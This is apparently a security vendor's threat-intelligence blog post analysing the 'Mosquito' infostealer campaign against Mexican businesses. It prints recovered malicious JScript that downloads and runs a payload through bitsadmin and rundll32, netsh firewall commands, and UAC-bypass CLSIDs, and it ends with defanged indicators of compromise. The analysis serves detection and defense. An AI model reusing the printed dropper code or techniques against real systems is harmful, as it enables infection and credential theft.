Mosquito the new Infostealer arrives to Mexico

By Gerardo Corona & Jesús Dominguez from Ocelot Team


The Threat Intelligence team at Metabase Q has recently identified a new variant of a Brazilian-based Infostealer dubbed as Mosquito by Ocelot team. Initially hitting Brazil in a campaign back in July 2023, Mosquito has recently emerged in a new campaign specifically targeting businesses in Mexico, employing sophisticated techniques and multi-stage infection chains similar to the well known sophisticated banking Trojan Carbanak. The purpose of this blog is to share indicators of compromise with the community to help implement proactive measures to mitigate this emerging threat.

Metabase Q protection strategy

At Metabase Q, we are focused on constantly updating our systems and protection strategy for new attackers and techniques. Following this discovery, our team, and platform rapidly integrated the Botnet Fenix techniques into our Batuta Platform for optimal detection and response:

  1. Threat Intelligence: Metabase Q Threat Intelligence team extracts Mosquito techniques, indicators of compromise, and updates actor’s profiling database.

    • Initiates the takedown process of malicious domains
  2. Crimeware Simulation: The Ocelot team reverse engineers Mosquito’s components, codes it from scratch in our lab, and adds it to our Batuta platform to replicate it and test it in our customers’ networks.
  3. Blue Team: The SOC team is trained with the latest techniques identified, and hunting detections implemented for tracking.
  4. Security Validation: Detection Gaps identified, and time to Detect & Response improved.

Figure 1. Batuta Platform

In the next section, we will provide a comprehensive technical analysis to guide proactive defensive strategies.

Analysis using the Diamond Model


Status Active
Source Country Brazil
Since May 2023
Last Activity December 2023
Adversary Type M.a.a.S. (Malware as a Service), InfoStealer
Motivation Financial Gain
Related Groups Not identified

Table 1. Adversary


Figure 2.

Affected Sector

End users in multiple sectors

Affected countries or regions.

Argentina, Brazil, Chile, España, Mexico, Panama, Peru, Spain, United States

Affected global organizations.

End users of Mexican companies

Affected Mexican organizations

End users of Global companies

Table 2. Victims


Tactics, Techniques, and Procedures (TTPs)

  • Distribution vector through phishing (malvertising).
  • Multi-stage infection chain.
  • DLL Side Loading.
  • Injection of malicious code into remote processes.
  • XOR decryption technique to decode its configuration file.
  • Gathering crucial system information, as well as data related to installed browsers.
  • Communication with attackers’ command and control server in an encoded format.



  • Command & Control.
  • Multiple components.

Technical analysis

The following analysis focuses on a campaign targeting Mexican organizations. The complexity of the multi-stage infection process is illustrated below:

Figure 3. Infection process

  1. The initial infection begins with the delivery of a phishing email containing a malicious PDF attachment.

    Figure 4. Phishing with malicious content

  2. Within its code, the following can be observed:

    A: It performs Operating System language validation, looking for the Mexican one.

    B: Upon satisfying the aforementioned condition, it downloads the file corresponding to the next stage.

    Figure 5. MSI Extract Code

    Figure 6. MSO Language ID

    During the execution of the file, the pop-up window shown in Figure 7 (customized by the threat actor), is displayed:

    Figure 7. Pop-up Custom Window

  3. Then the MSI installer downloads an XML file, this new file has an eval function that receives a UTF-16 encoded string as a parameter. Below the result of the decoded blob:
        function NzBMGJ(base64) {

            var ADODB = new ActiveXObject("ADODB.Stream");
            // Converte a string base64 para um array de bytes
            var decodedBytes = [];
            var dom = new ActiveXObject("Microsoft.XMLDOM");
            var elem = dom.createElement("tmp");
            elem.dataType = "bin.base64";
            elem.text = base64;
            var byteArray = elem.nodeTypedValue;
            // Abre o ADODB.Stream e escreve o array de bytes
            ADODB.Type = 1; // adTypeBinary
            ADODB.Position = 0;
            return ADODB;
         function FrhVE(stream, filePath) {
            try {
                var fileStream = new ActiveXObject("ADODB.Stream");
                fileStream.Type = 1; 
                fileStream.SaveToFile(filePath, 2);
                return true;
            } catch (e) {
                return false;
         function WCOcO(dllPath, functionName) {
            var shell = new ActiveXObject("WScript.Shell");
            var command = "rundll32 " + dllPath + "," + functionName;   
            try {
                shell.Run(command, 0, false);
                return true;
            } catch (e) {
                return false;
         var tempPath = AWxAP();
         var NameR = leyGgr(10) + ".tmp";
         var NameD = leyGgr(10) + ".tmp";
         var NameFileTemp = tempPath + "\\" +NameR;
         var NameFileTempD = tempPath + "\\" +NameD;
         var url = "";
         if (KFOqQO(url, NameFileTemp)) 
             if ((NameFileTemp))
                 var FILEText = CjWAn(NameFileTemp);
                 FILEText = MSfaTZDPw(FILEText);		
                 var stream = NzBMGJ(FILEText);
                 WCOcO(NameFileTempD,"C03345 a34332078607e2475635f256d61674f2531313e24393e2835313e2730313f2f2a307474786a333327607a6e226f256d61674f2531313e24393e2835313e2730313f2f2a307474786a3233223a31332");		

Examination of this new code reveals a new image file to be downloaded:

Figure 8. Next stage URL

This “image” is downloaded with the legitimate bitsadmin Windows tool and saved in the user’s%TEMP% path, with a random name and .tmp extension:

        function KFOqQO(url, destino) {

            var shell = new ActiveXObject("WScript.Shell");
            var comando = "bitsadmin /transfer myDownloadJob /download /priority foreground " + url + " " + destino;   
            try {
                shell.Run(comando, 0, true);
                return true;
            } catch (e) {
                return false;

The image bytes are reversed and Base64 encoded. Once decoded, the resulting file is a DLL that is run via rundll32 command:

        function WCOcO(dllPath, functionName) {
            var shell = new ActiveXObject("WScript.Shell");
            var command = "rundll32 " + dllPath + "," + functionName;   
            try {
                shell.Run(command, 0, false);
                return true;
            } catch (e) {
                return false;

The DLL has only one export function named C03345:

Figure 9. Exported function

Analyzing the DLL

By looking at the PDB path, we identify the username “Musquitao” and a path describing a project created for the campaign in Mexico (2023_MX):


Figure 10. “Musquitao” user identified

This DLL creates a .ini file with the hostname as the name at %Public%\Documents:

Figure 11. INI configuration file

This INI file contains the name of all components used in the infection chain, even though it is obfuscated.Simultaneously, the DLL decodes the modules of the next stages at runtime and drops them in the directory at:


Figure 13 shows the decoded files, which have names randomly selected from an embedded list and stored in the .ini file for further references:

Figure 12. Decoded files from krita.dll

Finally, here is the .ini file decoded, where multiple modules are identified:

  • DLL_INJECT: This module does the process injection
  • DLL_UP: This module is the injected one and checks if the process is elevated
  • EXE_UAC: This modules bypasses the Windows UAC for elevation
  • EXE_PROXY: This legitimate Krita installer (krita_installer.exe) renamed as “WindowsActionDialog.exe” that side-loads malicious DLL krita.dll
  • DLL_PROXY: Malicious DLL krita.dll
  • DLL_PRO: The final module, the Infostealer
  • EXE_LOGINS: Module to log the activities

All the files in the .ini configuration file are the same that the DLL decoded in the path


Figure 13. Same file names that are in .ini configuration file

Before completing the DLL execution, a shortcut to WindowsActionDialog.exe is added to the Windows startup folder to establish persistence. Subsequently, DLL restarts the device:

Figure 14. WindowsActionDialog.exe in Windows startup folder

WindowsActionDialog and Krita.dll

After the device restart, the legitimate Krita installer (renamed as WindowsActionDialog.exe) is executed. Then this installer sideloads the malicious DLL, krita.dll.

Figure 15. krita.dll string found

The filename ‘krita.dll’ is specified in the .ini configuration file with the tag <DLL_PROXY> as:


But where does krita.dll come from?

Krita is a free and open-source painting program, andWindowsActionDialog.exe is the legitimate krita desktop installer. However, this executable is vulnerable to DLL side-loading, and therefore used to run krita.dll DLL.

Find out more information about DLL side-loading at this blog:

Filezilla DLL Side-Loading

Krita.dll Analysis

Now, let’s delve into the analysis of the malicious krita.dll and its exports; this is the DLL_PROXY component:

Figure 16. Fake krita.dll, this is the malicious one

Next, in Figure 17, the legitimate krita.dll DLL is displayed, featuring only one export function.

Figure 17. Original krita.dll and its exports

There are significant differences. The malicious krita.dll executes the following steps:

  1. Firstly, the DLL retrieves the hostname, opens the .ini configuration file and locates the <DLL_INJECT> tag, to determine the next file to be loaded, as detailed in step 2.

    Figure 18. DLL getting the hostname

    Figure 19. DLL_INJECT tag from .ini file

  2. Next, the file is read and decoded into a new file at %TEMP% directory with a random name and .tmp extension:

    Figure 20. New DLL dropped into %TEMP% path

    Subsequently, this new .tmp file is loaded with LoadLibrary API since it is a DLL:

    Figure 21. LoadLibrary API to load the new DLL

    Figure 22. DLL name loaded from disk

    Following this, GetProcAddress is called to load and execute AtlThunk_IniData export:

    Figure 23. GetProcAddress lpProcName parameter

    Further details about this new DLL known as DLL_INJECT, are provided in the next section.


The figure 25 shows the exports of the new DLL:

Figure 24. Exports of DLL_INJECT

Figure 25. DLL_INJECT’s pdb file

This new DLL performs the same action as the previous DLL. Obtaining the hostname, opening the configuration file, and searching for a tag to load the next module. The next module is <DLL_UP>:

Figure 26. Next stage tag

Once again, the DLL content is decoded, and injected into the explorer.exe memory space, employing a well-known injection technique. This technique, facilitated by the CreateRemoteThread API, ultimately transfers the execution flow to the new DLL (DLL_UP component).

Figure 27. Process injection steps


Figure 28. DLL_UP’s pdb file

The DLL injected into the explorer.exe process creates a Mutex name depending on its parent process:

  • If the parent process is winlogon.exe, it creates a “winlogon” Mutex
  • Otherwise, it creates a Mutex with the name: “explorer”

Figure 29. Mutex code block

Subsequently, the DLL checks if the process is elevated, if it is not, the DLL reads the .ini configuration file and retrieves the filename specified in the < EXE_UAC> label, attempting to escalate privileges.


Figure 30. EXE_UAC pdb string

This new binary is injected into another explorer.exe process that was created in a suspended state.

This module is responsible for performing User Account Control (UAC) bypass, achieved by utilizing theCOM Elevation Moniker “Elevation:Administrator!new:{GUID}” Object. This step involves the use of the following CLSIDs:

  • {3AD05575-8857-4850-9277-11B85BDB8E09} – Provides copy, move, rename and delete operations
  • {BDB57FF2-79B9-4205-9447-F5FE85F37312} – Facilitates the installation of Internet Explorer add-ons capabilities

Figure 31. COM object string

The malware uses {3AD05575-8857-4850-9277-11B85BDB8E09} COM object to copy the “cmd.exe” file from its original location in %System32% folder to the %TEMP% directory with administrator privileges. Subsequently, it renames this file to [1]bdeunlock.exe using the same COM object.

Figure 32. “cmd.exe” renamed

Following this, the second COM object is used: {BDB57FF2-79B9-4205-9447-F5FE85F37312}

To execute the WindowsActionDialog.exe (krita_loader) with elevated privileges and side-loads krita.dll with administrator privileges.

Once krita.dll is loaded with administrator privileges, it follows the same flow as discussed earlier.

The next step is to inject DLL_UP into the winlogon.exe process:

Figure 33. “winlogon.exe” PID

Then the DLL_UP creates the “Winlogon” mutex and searches for a firewall rule named as the hostname:

        C:\Windows\system32\cmd.exe /C netsh advfirewall firewall show rule name="DESKTOP-AH39K"

If the rule does not exist, it is created to allow explorer.exe Internet access:

        C:\Windows\system32\cmd.exe /C netsh advfirewall firewall add rule name="DESKTOP-AH39K" dir=in  action=allow  program="C:\Windows\explorer.exe" enable=yes

Once the rule is in place, the next step involves opening the “explorer.exe” process to inject the final module in the infection chain. This module is referred to in the configuration file as <DLL_PRO>.

DLL_PRO Analysis

This is the final step and serves as the Infostealer component. It adds the Secure Bridge library used to protect TCP traffic using SSH or SSL protocols:

Figure 34. DLL_PRO project path

This DLL has an interesting export BeginX:

Figure 35. DLL_PRO exported functions

This DLL starts collecting information about the infected system. Firstly, it gathers the following information that will be exfiltrated:

  • OS Version
  • OS Architecture
  • Installed Internet Browsers
  • Username
  • Hostname
  • DLL Version

Next, the malware decodes the following strings:

        '_GetDadosUrlIP: '
        '_GetDadosWinProductName : '
        '_GetDadosVersaoBitsWindows : '
        '_GetDadosNomeComputador : '
        '_GetDadosVersaoDLL : '
        '_GetDadosAllNavCliente : '
        '_GetDadosPluginCliente : '
        '_GetDadosPastaTEMP : '

The initial data exfiltrated is shown below:

        _GetDadosUrlIP: hxxp://
        _GetDadosWinProductName : Windows 10 Pro
        _GetDadosVersaoBitsWindows : 64x
        _GetDadosNomeComputador : DESKTOP-AH39K
        _GetDadosVersaoDLL : ::03/10/2023::
        _GetDadosAllNavCliente : [Iexplorer][Edge]
        _GetDadosPluginCliente : NULL
        _GetDadosPastaTEMP : %Public%Documents

And is exfiltrated via POST request to hxxp[:]//

Figure 36. POST command to exfiltrate the information

And if the log.true file exists, then the data is also written into log.log file under %Public%Documents:

Figure 37. Logging data capability

The next step is to create a couple of hidden windows named as “MagnifierHost” and “MagnifierWindow”. These windows will help in capturing screens from the victims.

Figure 38. Windows creation routine

Then the malware continues by deploying a keyboard hook to intercept keystrokes from the victims:

Figure 39. Keyboard hook

And finally the malwares continues running to monitor which browser is opened by the end user, normally looking for online banking sessions to steal credentials or even to open a remote session to watch what the victim is doing:

Figure 40. “Monitorador view foi fechado” = “Monitor view has been closed”

Finally, the malware possesses the capability to take screenshots and send them via POST request, exhibiting behavior similar to that of Carbanak actors.

Figure 41. Screenshot routine


This brazilian-based Infostealer, exhibits advanced techniques seen previously observed in groups like Carbanak focused on the financial sector, showing a new era of sophistication in the LATAM region. The multi-stage approach makes it difficult for technologies and analysts to catch the final stage and therefore complicates the identification of the domain where the data is finally exfiltrated.

Customers at Metabase Q can directly run the latest Tactics, Techniques, and Procedures (TTPs) described in this blog from the ZeroAPT technology at the Batuta platform. This allows our customers to measure control visibility and assess the time it takes for detection and response from the SOC Team:

Figure 42. ZeroAPT SaaS Platform


  • Domain
    • zautoservice[.]eu
  • IP Address
    • 107[.]158[.]94[.]112
  • Filename:
    • DLL_load.dll
    • krita.dll
    • DLL_IN.dll
    • DLL_UP.dll
    • DLL_load.tmp
    • krita.tmp
    • DLL_IN.tmp
    • DLL_UP.tmp
  • Hashes
    • MD5
      • 1faf16a00e5fbe14916d5ca25ec9cc99
      • 2fc6d9d9423f91435e7244bc1ad9b145
      • 36b07d5222c773f0360af531e805baac
      • 3d3ec490e03a2ef65a9b9d0e4cbebaa3
      • 4d2838fc52d22c0be48c0af9804fbb3e
      • 4d7d6467795958cda2643232abcc7bc9
      • 57a02fcb09716862814d096276d20377
      • 6c6441ac494f3c78f2ea122549d6c0ba
      • 80c3e61945c9b333bf29f1098ce03a2a
      • 82709803d538e9b145d1100b3be4cbc2
      • 904d9d44995a7cd10258f067e7874e55
      • 9bbc7fb0bf144a4a70c6682abdb328f4
      • be3e8b881c9b2641fb65320bca17e2fb
      • db6eb4d134058d71a275683cf3a59245
      • e14e7dedc98322dc23febdb6711f8fec
      • e403f4444a69a80ae1aefd0c096b81a0
      • e6e3c50948d15e042d769ae514333e60
      • f46a6c1c007953cc60bfb528dafa91a5
  • URL
    • https[:]//hper[.]in/ckywe96
    • https[:]//www[.]superdownload[.]download/?Id=bWFpbC91LzAvI2luYm94&token=otihun24h6btfih33u4k8
    • http[:]//80[.]190[.]75[.]42/arquivo_anexo.pdf
    • http[:]//80[.]190[.]74[.]36/70453477219/file/file.php??427677989
    • https[:]//drive[.]google[.]com/u/0/1/abc/def/ghi[.]7z
    • https[:]//jf27z[.]app[.]goo[.]gl/eJZR9poW7FC968n47
    • httP[:]//107[.]158[.]94[.]115/Game/